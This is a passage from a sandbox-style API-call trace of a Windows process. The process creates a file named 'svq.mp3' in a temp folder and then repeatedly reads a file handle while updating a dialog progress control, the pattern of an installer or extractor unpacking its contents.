lpszDst="S") returned 1 [0067.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="svq.mp3") returned 8 [0067.920] FindFirstFileW (in: lpFileName="svq.mp3", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0067.920] GetLastError () returned 0x2 [0067.920] GetFileAttributesA (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3")) returned 0xffffffff [0067.920] CreateFileA (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0067.920] GetFileType (hFile=0x138) returned 0x1 [0067.920] SetFilePointer (in: hFile=0x138, lDistanceToMove=356, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x164 [0067.920] SetEndOfFile (hFile=0x138) returned 1 [0067.921] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0067.921] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x12b, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x12b, lpOverlapped=0x0) returned 1 [0067.921] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.921] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.921] GetTickCount () returned 0x1f99a [0067.921] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.921] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.921] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.921] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.921] GetTickCount () returned 0x1f99a [0067.921] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.921] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.921] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.921] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.921] GetTickCount () returned 0x1f99a [0067.921] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.921] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.921] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.921] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.921] GetTickCount () returned 0x1f99a [0067.921] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.921] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.921] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.921] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.921] GetTickCount () returned 0x1f99a [0067.921] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.921] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.922] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.922] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.922] GetTickCount () returned 0x1f99a [0067.922] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.922] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.922] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.922] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.922] GetTickCount () returned 0x1f99a [0067.922] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.922] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.922] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.922] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.922] GetTickCount () returned 0x1f99a [0067.922] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.922] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.922] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.922] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.922] GetTickCount () returned 0x1f99a [0067.922] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.922] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.922] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.922] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.922] GetTickCount () returned 0x1f99a [0067.922] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.922] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.922] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.922] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.922] GetTickCount () returned 0x1f99a [0067.922] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.922] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.922] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.922] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.922] GetTickCount () returned 0x1f99a [0067.922] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.922] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.922] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.922] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.922] GetTickCount () returned 0x1f99a [0067.922] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.922] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.923] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.923] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.923] GetTickCount () returned 0x1f99a [0067.923] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.923] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.923] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.923] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.923] GetTickCount () returned 0x1f99a [0067.923] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.923] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.923] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.923] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.923] GetTickCount () returned 0x1f99a [0067.923] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.923] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.923] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.923] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.923] GetTickCount () returned 0x1f99a [0067.923] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.923] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.923] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.923] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.923] GetTickCount () returned 0x1f99a [0067.923] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.923] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.923] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.923] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.923] GetTickCount () returned 0x1f99a [0067.923] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.923] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.923] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.923] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.923] GetTickCount () returned 0x1f99a [0067.923] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.923] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.923] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.923] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.923] GetTickCount () returned 0x1f99a [0067.923] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.923] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.924] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.924] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.924] GetTickCount () returned 0x1f99a [0067.924] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.924] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.924] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.924] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.924] GetTickCount () returned 0x1f99a [0067.924] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.924] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.924] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.924] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.924] GetTickCount () returned 0x1f99a [0067.924] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.924] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.924] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.924] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.924] GetTickCount () returned 0x1f99a [0067.924] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.924] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.924] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.924] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.924] GetTickCount () returned 0x1f99a [0067.924] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.924] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.924] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.924] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.924] GetTickCount () returned 0x1f99a [0067.924] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.924] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.924] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.924] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.924] GetTickCount () returned 0x1f99a [0067.924] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.924] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.924] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.924] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.924] GetTickCount () returned 0x1f99a [0067.924] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.924] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.924] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.924] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.924] GetTickCount () returned 0x1f99a [0067.924] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.924] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.924] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.924] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.924] GetTickCount () returned 0x1f99a [0067.924] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.925] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.925] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.925] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 1 [0067.925] GetMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x17154c) returned 1 [0067.925] TranslateMessage (lpMsg=0x17154c) returned 0 [0067.925] DispatchMessageW (lpMsg=0x17154c) returned 0x0 [0067.925] GetTickCount () returned 0x1f9a9 [0067.925] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.925] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.925] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.925] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.925] GetTickCount () returned 0x1f9a9 [0067.925] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) 